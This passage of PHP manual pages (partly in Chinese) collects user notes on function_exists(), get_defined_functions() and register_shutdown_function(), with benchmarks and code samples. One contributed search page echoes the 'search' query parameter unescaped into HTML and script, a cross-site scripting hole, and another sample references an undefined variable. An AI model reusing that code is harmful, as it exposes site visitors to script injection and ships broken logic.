            foreach($funcs as $func)
            {
                $times++;
                if(!isset($func_check[$func]))
                {
                    if(\function_exists($func)) ;
                    $func_check[$func] = 1;
                }
                else $func_check[$func];
            }
        }
        $s = $l->stop();
        echo "<span style='color:green'>$times</span> took : $s";
        # the output would be
        $> 2365444 took : 0.53446

There is a 0.16878 seconds improvement, when you use static array to cache methods existence.
kitchin 25-Sep-2012 12:49
You can use this function to conditionally define functions, see: http://php.net/manual/en/functions.user-defined.php

For instance Wordpress uses it to make functions "pluggable." If a plugin has already defined a pluggable function, then the WP code knows not to try to redefine it.

But function_exists() will always return true unless you wrap any later function definition in a conditional clause, like if(){...}. This is a subtle matter in PHP parsing. Some examples:

<?php
if (function_exists('foo')) {
  print "foo defined\\n";
} else {
  print "foo not defined\\n";
}
function foo() {}

if (function_exists('bar')) {
  print "bar defined\\n";
} else {
  print "defining bar\\n";
  function bar() {}
}
print "calling bar\\n";
bar(); // ok to call function conditionally defined earlier

print "calling baz\\n";
baz(); // ok to call function unconditionally defined later
function baz() {}

qux(); // NOT ok to call function conditionally defined later
if (!function_exists('qux')) {
  function qux() {}
}
?>
Prints:
  foo defined
  defining bar
  calling bar
  calling baz
  PHP Fatal error: Call to undefined function qux()

Any oddities are probably due to the order in which you include/require files.
admin at gk-root dot com 22-Mar-2012 02:51
// If you want to chack if the function is enabled or disable in php.ini you can use this function:

<?php
function func_enabled($func) {
    $disabled = explode(',', ini_get('disable_functions'));
    foreach ($disabled as $disableFunction) {
        $is_disabled[] = trim($disableFunction);
    }
    if (in_array($func,$is_disabled)) {
        $it_is_disabled["m"] = $func.'() has been disabled for security reasons in php.ini';
        $it_is_disabled["s"] = 0;
    } else {
        $it_is_disabled["m"] = $func.'() is allow to use';
        $it_is_disabled["s"] = 1;
    }
    return $it_is_disabled;
}
?>

// An example of how to use:

<?php
$if_is_disabled = func_enabled('exec'); // return Arrey
echo $if_is_disabled["m"]; // return text value
echo '<br/>';
echo $if_is_disabled["s"]; // return 1 or 0
?>
zach at bygeekz dot com 20-Sep-2008 06:20
to php at fluidthoughts dot com

you aren't comparing against false, that if compares against true, so it's going to return that, as false != true
true being 1, True, (bool)True, etc.
false being 0, False, Null, etc
<?php

$foo=null;
if ($foo) { echo 'yay'; } //does not echo yay, because null is not True

$foo=false;
if ($foo) { echo 'yay'; } //does not echo yay, because false is not True

$foo=null;
if (!$foo) { echo 'yay'; } //echoes yay!

$foo=false;
if (!$foo) { echo 'yay'; } //echoes yay!

?>

This..
<?php
    if (!function_exists('')) {
                echo "empty string function doesnt exist as compared as negative\n";
        }

        if (!function_exists(NULL)) {
                echo "NULL function doesnt exist as compared as negative\n";
        }
?>
Works.

Alternatively, to enter upon existance..

Use your code. Since they dont exist, it wont enter..
php at fluidthoughts dot com 19-Mar-2008 10:18
function_exists returns false on NULL and empty string:

<?php
        if (function_exists('')) {
                echo "empty string function exists\n";
        }

        if (function_exists(NULL)) {
                echo "NULL function exists\n";
        }
?>

Neither of the echo statements happen when I run this.
webmaster at mamo-net dot de 22-Sep-2007 05:43
If you use suhosin.executor.func.blacklist instead of disabled_functions in your php.ini, function_exists will return true for a disabled function. I used this to have the same beahviour with suhosin.executor.func.blacklist and disabled_functions:

<?php
function suhosin_function_exists($func) {
    if (extension_loaded('suhosin')) {
        $suhosin = @ini_get("suhosin.executor.func.blacklist");
        if (empty($suhosin) == false) {
            $suhosin = explode(',', $suhosin);
            $suhosin = array_map('trim', $suhosin);
            $suhosin = array_map('strtolower', $suhosin);
            return (function_exists($func) == true && array_search($func, $suhosin) === false);
        }
    }
    return function_exists($func);
}
?>
White-Gandalf 13-Sep-2007 07:26
I stumbled over the same problem as "eddiec" (users not able or not willing to use "_once"-suffixes).

A possible alternative explanation for the behavior:

If a file is included, it is possibly parsed every include-time.(?)
While parsing, every function in global scope is tried to register. THIS gets wrong, when multiple times included, and it produces an error.

If functions are defined within block scopes, their registration seems to be delayed until execution of such a block. Thus, not the function "function_exists" functions wrong, but simply the philosophy of the interpreter produces such results.

Thus, the same effect can be achieved by simply putting block braces around the contents of an include_once file:

if (function_exists('function_in_question')) return;
{
    function function_in_question(...)
    {
        ...
    }
    ...other stuff
}

...which is equivalent to...

if (!function_exists('function_in_question'))
{
    function function_in_question(...)
    {
        ...
    }
    ...other stuff
}
dieter at edarta dot be 16-Feb-2007 03:09
to brooklynphil at hotmail dot com:

Your post is misleading, namely the 3rd and last speedtest you describe is an unfair comparison:

<?php
is_callable('test','test');
?>

The value of the 2nd parameter $syntax_only is 'test' and this evaluates to boolean true. In other words, this is exactly the same as calling the function like this:

<?php
is_callable('test',true);
?>

Of course this will be faster because is_callable only does a very basic syntaxcheck. From the documentation: 'It will only reject simple variables that are not strings, or an array that does not have a valid structure to be used as a callback.'

If you omit this erroneous 3rd test, then according to your examples function_exists is 2 to 4 times faster.

I hope you can see that loop-testing functions is not so simple. :)

rtfm
eddiec at stararcher dot com 09-Feb-2007 09:58
Note that function_exists will return TRUE in the following situation, presumably because the function "testfunc" was defined when the script was PARSED/ITERPRETED, before the function_exists call was made at RUNTIME:

<?php
if (function_exists('testfunc')) return;
function testfunc() { }
?>

So, this construction is not useful for preventing testfunc from being multiply defined if the script is muliply included or required.

However, the following construction DOES work to prevent multiple defines of testfunc:

<?php
if (!function_exists('testfunc')) {
  function testfunc() { }
}
?>

CONTRAST this with similar uses of defined() which is completely runtime evaluated.  These both work:

<?php
if (defined('testfunc_defined')) return;
define('testfunc_defined', 1);
function testfunc() { }
?>

AND...

<?php
if (!defined('testfunc_defined')) {
define('testfunc_defined', 1);
function testfunc() { }
}
brooklynphil at hotmail dot com 30-Jan-2007 11:02
to bob at thethirdshift dot net
regarding is_callable vs function_exists.

using your code
is_callable = TRUE, function_exists = FALSE

Did 10000 is_callables in 0.0443360805511 seconds
Did 10000 function_exists in 0.0111110210419 seconds

then we replace
is_callable(array('test','test'));
with
$callarray = array('test','test'); // place this outside for-loop
is_callable($callarray);

is_callable = TRUE, function_exists = FALSE

Did 10000 is_callables in 0.0314660072327 seconds
Did 10000 function_exists in 0.0120670795441 seconds

then we replace
is_callable(array('test','test'));
with
is_callable('test','test');

is_callable = TRUE, function_exists = FALSE

Did 10000 is_callables in 0.00991606712341 seconds
Did 10000 function_exists in 0.0113790035248 seconds

I hope you can see that loop-testing functions is not so simple. :)
Dan 17-Jul-2006 08:49
I would like to comment on the following post:

A note of caution: function_exists() appears to be case-insensitive (at least as of PHP 4.3.8).  e.g.:

<?php
   function MyCasedFunction() {
       return true;
   }

   // Will return true, even though casing is "wrong"
   if (function_exists("mYcAsEdFuNcTiOn"))
       echo "I see it!";
?>

I believe that function calls itself are case insensitve, so this function is returning a valid truth. PHP doesn't care about cases.
andi at splitbrain dot org 07-Jul-2006 03:48
function_exists will return false for functions disabled with the disable_functions ini directive. However those functions are still declared so trying to define them yourself will fail.

<?php
if(!function_exists('readfile')){
  function readfile($file){
    $handle=@fopen($cache,"r");
    echo @fread($handle,filesize($file));
    @fclose($handle);
  }
}
?>

The above will issue a "Cannot redeclare readfile()" fatal error if readfile was disabled with disable_functions.
neelam_ab2003 at yahoo dot co dot in 11-May-2006 12:06
<?php
/*PHP doesn't Support nested functions. I have tried following in PHP_VERSION - 5.1.2*/

function A(){}

function B(){
    function C(){
        function D(){}
    }
}

IsFunctionExist('A');
IsFunctionExist('B');
IsFunctionExist('C');
IsFunctionExist('D');

function IsFunctionExist($funcName){
    echo function_exists($funcName)?" $funcName exist <br>":" $funcName doesn't exist <br>";
}
?>

/*O U T P U T
A exist
B exist
C doesn't exist
D doesn't exist
*/
chaumo 16-Jul-2005 05:46
to avoid direct calls this can be better than function_exists
in the parent file:
<?php
define("IN_MODULE",true);
?>
and in the target file:
<?php
if(!defined("IN_MODULE")) die("Can't access the file directly");
?>
fili at fili dot nl 08-Jun-2005 09:24
To prevent direct calls to included files i use the following technique.

In the main file create an empty function with a random name. Like so:

<?php
function hjudejdjiwe() { return true; }
?>

Then check for the existence of this function within your include:

<?php
if (!function_exists('hjudejdjiwe')) { die('!'); }
?>

Simple but effective.
bob at thethirdshift dot net 23-Jun-2004 09:55
I, too, was wondering whether is_callable or function exists is faster when checking class methods.  So, I setup the following test:

<?php
function doTimes($start, $end)
  {
    $start_time = explode (" ", $start);
    $start_time = $start_time[1] + $start_time[0];
    $end_time = explode (" ", $end);
    $end_time = $end_time[1] + $end_time[0];
    $time = $end_time - $start_time;
    return $time;
  }

class test
  {
      function test()
      {
          return true;
      }
  }

$callableIsTrue = false;
$startIsCallable = microtime();
for($i = 0; $i < 10000; $i++)
  {
      if(is_callable(array('test', 'test'))) { $callableIsTrue = true; }
  }
$endIsCallable = microtime();

$existsIsTrue = false;
$startExists = microtime();
for($i = 0; $i < 10000; $i++)
  {
      if(function_exists('test::test')) { $existsIsTrue = true; }
  }
$endExists = microtime();

$timeIsCallable = doTimes($startIsCallable, $endIsCallable);
$timeExists     = doTimes($startExists, $endExists);

echo "<b>is_callable = ".($callableIsTrue ? "TRUE" : "FALSE")."</b>, \n";
echo "<b>function_exists = ".($existsIsTrue ? "TRUE" : "FALSE")."</b><br>\n";

echo "<br>Did 10000 is_callables in ".$timeIsCallable." seconds";
echo "<br>Did 10000 function_exists in ".$timeExists." seconds";
?>

This gives the output :

is_callable = TRUE, function_exists = FALSE

Did 10000 is_callables in 0.0640790462494 seconds
Did 10000 function_exists in 0.0304429531097 seconds

So the fact that function_exists is twice as fast is slightly over shadowed by the fact that it doesn't work on class methods, at least not as far as I can tell.
ckrack at i-z dot de 09-Mar-2004 12:22
i was wondering whether is_callable or function exists is faster when checking class methods.

is_callable(array('foo', 'bar'));
function_exists('foo::bar');

my results when doing each operation 10000 times with a simple test class were the following:

is_callable: 0.28671383857727 seconds
function_exists: 0.14569997787476 seconds

(following tests have proved this to be true).

thus you can see, function_exists is twice as fast as is_callable.
breadman 29-Jul-2003 05:17
Functions within a function are better off as anonymous returns from create_function(), unless you want to be able to call it elsewhere.

However, I have used this in skinning:  I use alert_box() to display certain errors, like a faulty SQL query.  This simply calls display_alert(), which is defined in my skin scripts.  However, alert_box() is sometimes called before I know which skin to load, so it has its own functionality which it uses if function_exists('display_alert') returns false.
dshearin at excite dot com 08-Jul-2003 03:15
This can be used to conditionally define a user function. In this sense, it can act as a sort of inline include_once().

For example, suppose you have a function A that calls function B. B is only used inside function A and is never called from anywhere else in the script. It's logical (and perfectly legal in PHP) to define B inside of A's definition, like so:

<?php
function A($inputArray)
{
   if (!function_exists('B'))
   {
      function B($item)
      {
           // Do something with $item
         // and return result
          return $result;
      }
   }
   foreach ($inputArray as $nextItem) $outputArray[] = B($nextItem);
   return $outputArray;
}
?>

Without the function_exists test, you would get a fatal error the second time you called A, as PHP would think you were trying to redefine B (not legal in PHP). The placement of the test is also important. Since the if block is executed sequentially, like any other block of code, it must come before any call to the function defined within.


返回所有已定义函数的数组

  • ? function_exists
  • register_shutdown_function ?
  • PHP Manual
  • 函数处理 函数
  • 返回所有已定义函数的数组

get_defined_functions

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

get_defined_functions — 返回所有已定义函数的数组

说明

get_defined_functions(bool $exclude_disabled = true): array

获取所有已定义函数的数组。

参数

exclude_disabled

禁用的函数是否应该在返回的数据里排除。

返回值

返回数组，包含了所有已定义的函数，包括内置/用户定义的函数。可通过 $arr["internal"] 来访问系统内置函数，通过 $arr["user"] 来访问用户自定义函数（参见示例）。

更新日志

版本 | 说明
8.0.0 | exclude_disabled 参数的默认值从 false 更改为 true。
7.0.15, 7.1.1 | 新增 exclude_disabled 参数。

示例

Example #1 get_defined_functions() 例子

<?php
function myrow($id, $data)
{
return "<tr><th>$id</th><td>$data</td></tr>\n";
}

$arr = get_defined_functions();

print_r($arr);
?>

以上示例的输出类似于：

Array
(
    [internal] => Array
        (
            [0] => zend_version
            [1] => func_num_args
            [2] => func_get_arg
            [3] => func_get_args
            [4] => strlen
            [5] => strcmp
            [6] => strncmp
            ...
            [750] => bcscale
            [751] => bccomp
        )

    [user] => Array
        (
            [0] => myrow
        )

)

参见

  • function_exists() - 如果给定的函数已经被定义就返回 true
  • get_defined_vars() - 返回由所有已定义变量所组成的数组
  • get_defined_constants() - 返回所有常量的关联数组，键是常量名，值是常量值
  • get_declared_classes() - 返回由已定义类的名字所组成的数组

User Contributed Notes

Muneeb Aslam 27-Oct-2015 12:30
This is rather a simple non-confusing script to get the function names linked to its manual page on php.net. Hope it helps someone. Commented script is self explainatory

<?php

    /*declare a variable to php manual of functions.
    change the $lng to the region you want it for,
    i-e en/es/de etc etc */
    $lng = "es";
    $url = "http://www.php.net/manual/".$lng."/function.";

    // get defined functions in a variable (it will be a 2D array)
    $functions = get_defined_functions();

    // Run nested foreach to get the function names
    foreach($functions as $function){
        foreach ($function as $functionName){

            /* Since php manual is using hyphens instead of underscores
            for functions, we will convert underscores to hyphen whereever
            there is one. */
            if(strpos($functionName,"_") !== false){
                $functionForURL = str_replace("_","-",$functionName);
            } else {
                $functionForURL = $functionName;
            }

            /* echo the link */
            echo "<a href='".$url.$functionForURL.".php'>".$functionName."</a><br />";
        }
    }

?>
Muneeb Aslam 26-Oct-2015 07:46
We can also get the function names with this simple foreach

<?php

    //Since its a two dimensional array
    $functions = get_defined_functions();

    //We can use nested foreach to get the function names
    foreach($functions as $function){
         foreach($function as $thisFunc){
             echo $thisFunc . "<br />";
         }
     }

?>
kkuczok at gmail dot com 22-May-2013 08:14
You can list all arguments using ReflectionFunction class. It's not necessary to parse selected files/files as suggested by Nguyet.Duc.

http://php.net/manual/pl/class.reflectionfunction.php

Example:
<?php
function foo(&$bar, $big, $small = 1) {}
function bar($foo) {}
function noparams() {}
function byrefandopt(&$the = 'one') {}

$functions = get_defined_functions();
$functions_list = array();
foreach ($functions['user'] as $func) {
        $f = new ReflectionFunction($func);
        $args = array();
        foreach ($f->getParameters() as $param) {
                $tmparg = '';
                if ($param->isPassedByReference()) $tmparg = '&';
                if ($param->isOptional()) {
                        $tmparg = '[' . $tmparg . '$' . $param->getName() . ' = ' . $param->getDefaultValue() . ']';
                } else {
                        $tmparg.= '&' . $param->getName();
                }
                $args[] = $tmparg;
                unset ($tmparg);
        }
        $functions_list[] = 'function ' . $func . ' ( ' . implode(', ', $args) . ' )' . PHP_EOL;
}
print_r($functions_list);
?>

Output:
Array
(
    [0] => function foo ( &&bar, &big, [$small = 1] )

    [1] => function bar ( &foo )

    [2] => function noparams (  )

    [3] => function byrefandopt ( [&$the = one] )

)
Nguyet.Duc 30-Jul-2011 01:22
get_defined_functions() just returns a list of function names without function arguments. Here is the code to list user-defined function names plus arguments:

<?php
    $content = file_get_contents('example.php');
    preg_match_all("/(function )(\S*\(\S*\))/", $content, $matches);
    foreach($matches[2] as $match) {
        $function[] = "// " . trim($match) . "<br />\n";
    }
    natcasesort($function);
    $functionlist .= "/* Functions in this file */<br />\n";
    $functionlist .= "/**************************/<br />\n\n";
    $functionlist .= implode('', $function);
    echo $functionlist;
?>

Output:

/* Functions in this file */
/**************************/
// add_data($data)
// add_files($list)
// archive($name)
// bzip_file($name)
rob at webdimension dot co dot uk 01-Apr-2011 08:48
A quick way of using this function:

<?php
// ALL USER DEFINED FUNCTIONS
$arr = get_defined_functions();
foreach ($arr['user'] as $key => $value){
echo $value.'<br />';
}
// ALL USER DEFINED FUNCTIONS

// ALL INTERNAL FUNCTIONS
$arr = get_defined_functions();
foreach ($arr['internal'] as $key => $value){
echo $value.'<br />';
}
// ALL INTERNAL FUNCTIONS
?>
ChaosKaizer 10-Jul-2008 07:13
for user defined function

<?php
/**
 * @param string $function_name The user function name, as a string.
 * @return Returns TRUE if function_name  exists and is a function, FALSE otherwise.
 */
function user_func_exists($function_name = 'do_action') {

    $func = get_defined_functions();

    $user_func = array_flip($func['user']);

    unset($func);

    return ( isset($user_func[$function_name]) );
}
?>
strrev xc.noxeh@ellij 04-Jun-2008 05:31
Please note that functions created with create_function() are not returned.
(However that might change in a later version)
spudinski at gmail dot com 01-Apr-2008 06:13
To search for a function.
<html>
<head>
<title>List of all Internal functions</title>
<style type="text/css">
body {
    background-color: #FFFFFF;
    color: #222222;
    font-size: 11px;
    font-family: arial, tahoma;
}
table {
    color: #222222;
    font-size: 11px;
    font-family: arial, tahoma;
}
tr.found {
    background-color: #66EE00;
    font-weight: bold;
}
a:link {
    color: #222222;
}
a:visited {
    color: #CCCCCC;
}
a:active {
    color: #444444;
}
a:hover {
    text-decoration: underline;
}
</style>
</head>
<body>
<p>
    <form method="GET">
    Search: <input type="text" name="search"><br>
    <input type="submit">
    </form>
</p>
<?php
    if (!empty($_GET['search'])) {
        echo '<p>' . '<a href="#' . $_GET['search'] . '">' .
        'Goto ' . $_GET['search'] . '</a>' .
        '<script type="text/javascript">
            window.onload = function() {
                document.location += "#' . $_GET['search'] . '";
                return true;
            }
        </script>
        </p>';
    }
?>
<p>
    <table>
<?php
    $country = 'us';
    $functions = get_defined_functions();
    $functions = $functions['internal'];
    $num = 0;
    foreach($functions as $function) {
        $num++;
        echo '<tr ' . (($_GET['search'] == $function) ? 'class="found"' : '') . '><td>' .
        number_format($num) . '</td><td>' . '<a name="' . $function . '" href="http://' . $country . '.php.net/' .
        $function . '">' . $function . '</a>' . '</td></tr>';
    }
?>
    </table>
</p>
</body>
</html>
berchentreff at berchentreff dot de 31-Mar-2006 05:46
look at here, list all the defined function on your php-Version and give as well formatted output width links onto the php-manual:

<html><head>
<style type="text/css"><!--
li{font-family:Verdana,Arail,sans-serif;width:500px;margin-top:7px;}
a{padding:4px;}
a.a1{font-size:12px;background-color:#CCCCCC;color:#663300;}
a.a1:hover{background-color:#663300;color:#CCCCCC;}
a.a1:visited{background-color:#fff;color:#999;}
a.a1:visited:hover{background-color:#fff;color:#999;}
a.a0{font-size:12px;background-color:#CCCCFF;color:#663399;}
a.a0:hover{background-color:#663399;color:#CCCCFF;}
a.a0:visited{background-color:#ffC;color:#999;}
a.a0:visited:hover{background-color:#ffC;color:#999;}
--></style>
</head><body style="background-color:#999;">
<?php
$arr = get_defined_functions();

foreach($arr as $zeile){
sort($zeile);$s=0;
foreach($zeile as $bzeile){
$s=($s)?0:1;
echo "<li><a class='a".$s."'  href='http://de.php.net/".$bzeile."'>".$bzeile."</a></li>";}
}
?>
</body>
</html>
mIHATESPAMduskis at bates dot edu 21-Nov-2002 02:47
At least with PHP 4.2.3 on a GNU/Linux/Apache platform, get_defined_functions() returns user-defined functions as all-lower case strings regardless of how the functions are capitalized when they are defined.

Threw me for a loop.
peten at spam dot me dot not dot frontiernet dot net 02-Jun-2002 10:28
Here's a useful trick with the get_defined_functions function - show all available functions with a link to the documentation (you can even change the mirror it goes to):

<?php
  // the php mirror
  $php_host = "http://us2.php.net/";

  // the number of cols in our table
  $num_cols = 3;

  $ar = get_defined_functions();
  $int_funct = $ar[internal];
  sort($int_funct);
  $count = count($int_funct);
?>
<html>
 <head>
  <title>
   Available PHP Functions
  </title>
 </head>
 <body>
  <p>
   <?php print $count; ?> functions
    available on
    <?php
      print $_SERVER[SERVER_NAME];
     ?>
   (<a href="<?php print $php_host;?>"
    target="phpwin">php</a>
    version
    <?php print phpversion(); ?>)
  </p>
  <table align="center" border="2">
   <tr>
<?php
  for($i=0;$i<$count;$i++) {
    $doc = $php_host
     . "manual/en/function."
     . strtr($int_funct[$i], "_", "-")
     . ".php";
    print "    <td><a href=\"" . $doc
     . "\" target=\"phpwin\">"
     . $int_funct[$i]
     . "</a></td>\n";
    if(($i > 1)
     && (($i+$num_cols)%$num_cols==($num_cols-1)))
      print "   </tr>\n   <tr>\n";
    }
  for($i=($num_cols-($count%$num_cols));$i>0;$i--)
    print "    <td>&nbsp;</td>\n";
?>
  </table>
 </body>
</html>


注册在关闭时执行的函数

  • ? get_defined_functions
  • register_tick_function ?
  • PHP Manual
  • 函数处理 函数
  • 注册在关闭时执行的函数

register_shutdown_function

(PHP 4, PHP 5, PHP 7, PHP 8)

register_shutdown_function — 注册在关闭时执行的函数

说明

register_shutdown_function(callable $callback, mixed ...$args): void

注册一个 callback ，它会在脚本执行完成或者 exit() 后被调用。

可以多次调用 register_shutdown_function()，这些被注册的回调会按照他们注册时的顺序被依次调用。如果你在注册的方法内部调用 exit()，那么所有处理会被中止，并且其他注册的中止回调也不会再被调用。

关闭函数也可以调用 register_shutdown_function() 来将关闭函数添加到队列的末尾。

参数

callback

待注册的中止回调。

中止回调是作为请求的一部分被执行的，因此可以在它们中进行输出或者读取输出缓冲区。

args

可以通过传入额外的参数来将参数传给中止函数。

返回值

没有返回值。

示例

Example #1 register_shutdown_function() 例子

<?php
function shutdown()
{
// 这是关闭函数，在脚本完成前可以进行任何最后的操作。

echo 'Script executed with success', PHP_EOL;
}

register_shutdown_function('shutdown');
?>

注释

Note:

在某些 web 服务器（如 Apache）上，可以在中止函数内对脚本的工作目录进行修改。

Note:

如果进程被信号 SIGTERM 或 SIGKILL 杀死，那么中止函数将不会被调用。尽管你无法中断 SIGKILL，但你可以通过 pcntl_signal() 来捕获 SIGTERM，通过在其中调用 exit() 来进行一个正常的中止。

Note:

关闭函数与 max_execution_time 追踪的时间分开运行。这意味着即使进程因为运行时间过长而终止，仍会调用关闭函数。此外，如果关闭函数运行时正好 max_execution_time 用完，也会被终止。

参见

  • auto_append_file
  • exit() - 输出一个消息并且退出当前脚本
  • fastcgi_finish_request() - 冲刷(flush)所有响应的数据给客户端
  • 连接处理节

User Contributed Notes

josh at joshstrange dot com 09-Nov-2023 04:27
> Shutdown functions run separately from the time tracked by max_execution_time. That means even if a process is terminated for running too long, shutdown functions will still be called. Additionally, if the max_execution_time runs out while a shutdown function is running it will not be terminated.

This does not appear to be true in our testing, specifically "Additionally, if the max_execution_time runs out while a shutdown function is running it will not be terminated".  For example:

<?php
set_time_limit(5);

register_shutdown_function(function() {
    $start = time();
    for($i = 0; $i < 40; $i++) {
        echo "Run 1: $i\n";
        while(1) {
            $elapsed = time() - $start;
            if($elapsed > $i) {
                break;
            }
        }
    }
});

?>

This will print out:

Run 1: 0
Run 1: 1
Run 1: 2
Run 1: 3
Run 1: 4
Run 1: 5

Then it will die with:

Execution took longer than 5 seconds, sent SIGTERM and terminated

If you register multiple shutdown functions and an earlier one exceeds the execution time the later ones will _not_ be run.

If you need your shutdowns to have unlimited time (like the docs suggest it works) one solution might be to register a shutdown function like this early in your code:

<?php
register_shutdown_function(function() {
    set_time_limit(0);
});
?>

So that you give yourself unlimited time in your subsequent shutdown functions.

See an example here: https://www.tehplayground.com/wJLtMi3Z5c1sTi9Y (Note, 5 seconds is the max you can set on this website. If you remove the first shutdown function you it will be killed after 3 seconds).
Anonymous 16-Mar-2019 10:08
warning: in addition to SIGTERM and SIGKILL, the shutdown functions won't run in response to SIGINT either. (observed on php 7.1.16 on windows 7 SP1 x64 + cygwin  and php 7.2.15 on Ubuntu 18.04)
raat1979 at gmail dot com 08-Feb-2017 07:31
I wanted to set the exit code for a CLI application from a shutdown function by using a class property,

Unfortunataly (as per manual)  "If you call exit() within one registered shutdown function, processing will stop completely and no other registered shutdown functions will be called."

As a result if I call exit in my shutdown function I will break other shutdown functions (like one that logs fatal errors to syslog)

However! (as per manual)  "Multiple calls to register_shutdown_function() can be made, and each will be called in the same order as they were registered."

As luck would have it you are also able to register a shutdown function from within a shutdown function (at least in PHP 7.0.15 and 5.6.30)

in other words if you register a shutdown function inside a shutdown function it is appended to the shutdown function queue.

<?php
class SomeApplication{
    private $exitCode = null;

    public function __construct(){
        register_shutdown_function(function(){
        echo "some registered shutdown function";
            register_shutdown_function(function(){
                echo "last registered shutdown function";
                // one might even consider another register shutdown_function if one expects other shutdown functions to do the same...
                exit($this->exitCode === null ? 0 : $this->exitCode);
            });
        });
    }
}
?>
alexyam at live dot com 08-Apr-2012 03:50
When using php-fpm, fastcgi_finish_request() should be used instead of register_shutdown_function() and exit()

For example, under nginx and php-fpm 5.3+, this will make browsers wait 10 seconds to show output:

<?php
    echo "You have to wait 10 seconds to see this.<br>";
    register_shutdown_function('shutdown');
    exit;
    function shutdown(){
        sleep(10);
        echo "Because exit() doesn't terminate php-fpm calls immediately.<br>";
    }
?>

This doesn't:

<?php
    echo "You can see this from the browser immediately.<br>";
    fastcgi_finish_request();
    sleep(10);
    echo "You can't see this form the browser.";
?>
emanueledelgrande ad email dot it 19-Sep-2010 07:53
A lot of useful services may be delegated to this useful trigger.
It is very effective because it is executed at the end of the script but before any object destruction, so all instantiations are still alive.

Here's a simple shutdown events manager class which allows to manage either functions or static/dynamic methods, with an indefinite number of arguments without using any reflection, availing on a internal handling through func_get_args() and call_user_func_array() specific functions:

<?php
// managing the shutdown callback events:
class shutdownScheduler {
    private $callbacks; // array to store user callbacks

    public function __construct() {
        $this->callbacks = array();
        register_shutdown_function(array($this, 'callRegisteredShutdown'));
    }
    public function registerShutdownEvent() {
        $callback = func_get_args();

        if (empty($callback)) {
            trigger_error('No callback passed to '.__FUNCTION__.' method', E_USER_ERROR);
            return false;
        }
        if (!is_callable($callback[0])) {
            trigger_error('Invalid callback passed to the '.__FUNCTION__.' method', E_USER_ERROR);
            return false;
        }
        $this->callbacks[] = $callback;
        return true;
    }
    public function callRegisteredShutdown() {
        foreach ($this->callbacks as $arguments) {
            $callback = array_shift($arguments);
            call_user_func_array($callback, $arguments);
        }
    }
    // test methods:
    public function dynamicTest() {
        echo '_REQUEST array is '.count($_REQUEST).' elements long.<br />';
    }
    public static function staticTest() {
        echo '_SERVER array is '.count($_SERVER).' elements long.<br />';
    }
}
?>

A simple application:

<?php
// a generic function
function say($a = 'a generic greeting', $b = '') {
    echo "Saying {$a} {$b}<br />";
}

$scheduler = new shutdownScheduler();

// schedule a global scope function:
$scheduler->registerShutdownEvent('say', 'hello!');

// try to schedule a dyamic method:
$scheduler->registerShutdownEvent(array($scheduler, 'dynamicTest'));
// try with a static call:
$scheduler->registerShutdownEvent('scheduler::staticTest');

?>

It is easy to guess how to extend this example in a more complex context in which user defined functions and methods should be handled according to the priority depending on specific variables.

Hope it may help somebody.
Happy coding!
jawsper at aximax dot nl 20-Apr-2010 05:21
Something found out during testing:

the ini auto_append_file will be included BEFORE the registered function(s) will be called.
ravenswd at gmail dot com 21-Dec-2009 01:43
You may get the idea to call debug_backtrace or debug_print_backtrace from inside a shutdown function, to trace where a fatal error occurred. Unfortunately, these functions will not work inside a shutdown function.
pgl at yoyo dot org 02-Aug-2009 02:25
You definitely need to be careful about using relative paths in after the shutdown function has been called, but the current working directory doesn't (necessarily) get changed to the web server's ServerRoot - I've tested on two different servers and they both have their CWD changed to '/' (which isn't the ServerRoot).

This demonstrates the behaviour:

<?php
function echocwd() { echo 'cwd: ', getcwd(), "\n"; }

register_shutdown_function('echocwd');
echocwd() and exit;
?>

Outputs:

cwd: /path/to/my/site/docroot/test
cwd: /

NB: CLI scripts are unaffected, and keep their CWD as the directory the script was called from.
RLK 14-Sep-2008 02:26
Contrary to the the note that "headers are always sent" and some of the comments below - You CAN use header() inside of a shutdown function as you would anywhere else; when headers_sent() is false. You can do custom fatal handling this way:

<?php
ini_set('display_errors',0);
register_shutdown_function('shutdown');

$obj = new stdClass();
$obj->method();

function shutdown()
{
  if(!is_null($e = error_get_last()))
  {
    header('content-type: text/plain');
    print "this is not html:\n\n". print_r($e,true);
  }
}
?>
dweingart at pobox dot com 13-Mar-2006 08:53
I have discovered a change in behavior from PHP 5.0.4 to PHP 5.1.2 when using a shutdown function in conjunction with an output buffering callback.

In PHP 5.0.4 (and earlier versions I believe) the shutdown function is called after the output buffering callback.

In PHP 5.1.2 (not sure when the change occurred) the shutdown function is called before the output buffering callback.

Test code:
<?php
function ob_callback($buf) {
    $buf .= '<li>' . __FUNCTION__ .'</li>';
    return $buf;
}

function shutdown_func() {
    echo '<li>' . __FUNCTION__ .'</li>';
}

ob_start('ob_callback');
register_shutdown_function('shutdown_func');
echo '<ol>';
?>

PHP 5.0.4:

1. ob_callback
2. shutdown_func

PHP 5.1.2:

1. shutdown_func
2. ob_callback
kenneth dot kalmer at gmail dot com 27-Jan-2006 09:26
I performed two tests on the register_shutdown_function() to see under what conditions it was called, and if a can call a static method from a class. Here are the results:

<?php
/**
 * Tests the shutdown function being able to call a static methods
 */
class Shutdown
{
    public static function Method ($mixed = 0)
    {
        // we need absolute
        $ap = dirname (__FILE__);
        $mixed = time () . " - $mixed\n";
        file_put_contents ("$ap/shutdown.log", $mixed, FILE_APPEND);
    }
}
// 3. Throw an exception
register_shutdown_function (array ('Shutdown', 'Method'), 'throw');
throw new Exception ('bla bla');

// 2. Use the exit command
//register_shutdown_function (array ('Shutdown', 'Method'), 'exit');
//exit ('exiting here...')

// 1. Exit normally
//register_shutdown_function (array ('Shutdown', 'Method'));
?>

To test simply leave one of the three test lines uncommented and execute. Executing bottom-up yielded:

1138382480 - 0
1138382503 - exit
1138382564 - throw

HTH
http://livejournal.com/~sinde1/ 02-Dec-2005 04:49
If you want to do something with files in function, that registered in register_shutdown_function(), use ABSOLUTE paths to files instead of relative. Because when script processing is complete current working directory chages to ServerRoot (see httpd.conf)
sts at mail dot xubion dot hu 15-Mar-2004 02:56
If you need the old (<4.1) behavior of register_shutdown_function you can achieve the same with "Connection: close" and "Content-Length: xxxx" headers if you know the exact size of the sent data (which can be easily caught with output buffering).
An example:
<?php
header("Connection: close");
ob_start();
phpinfo();
$size=ob_get_length();
header("Content-Length: $size");
ob_end_flush();
flush();
sleep(13);
error_log("do something in the background");
?>

The same will work with registered functions.
According to http spec, browsers should close the connection when they got the amount of data specified in Content-Length header. At least it works fine for me in IE6 and Opera7.
jules at sitepointAASASZZ dot com 01-Jul-2003 12:41
If your script exceeds the maximum execution time, and terminates thusly:

